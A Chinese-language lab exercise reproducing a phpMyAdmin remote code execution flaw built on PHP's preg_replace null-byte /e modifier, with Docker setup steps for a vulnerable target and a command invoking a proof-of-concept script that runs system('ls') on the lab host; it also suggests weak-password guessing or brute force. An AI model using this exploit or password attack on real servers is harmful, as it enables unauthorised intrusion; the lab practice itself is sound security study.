漏洞复现练习
漏洞简介
在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
以下版本受到影响:
4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
漏洞复现
*在kali上部署的docker服务略,开始启动docker服务:
service docker start
*查看服务状态:
systemctl status docker.service
*启动靶场环境:
-
首先进入漏洞目录下
-
启动环境
docker-compose up -d
-
查看启动状态
docker-compose ps -a
-
ls查看文件
ls
-
查看漏洞复现文档
cat README.zh-cn.md
-
访问网址
-
如果没有提示,也可以采取弱口令或者多线程爆破
漏洞利用
-
进入网址复制POC脚本在你熟悉的路径下
-
使用poc进行复现,-u指定用户名,-p指定登录密码,-d指定用户创建的表名, -c为将作为PHP代码执行的命令
python 16_5734.py -u root -p "root" http://10.0.0.23:8080 -c "system('ls')"
-
成功执行命令之后会创建一个名为prgpwn的表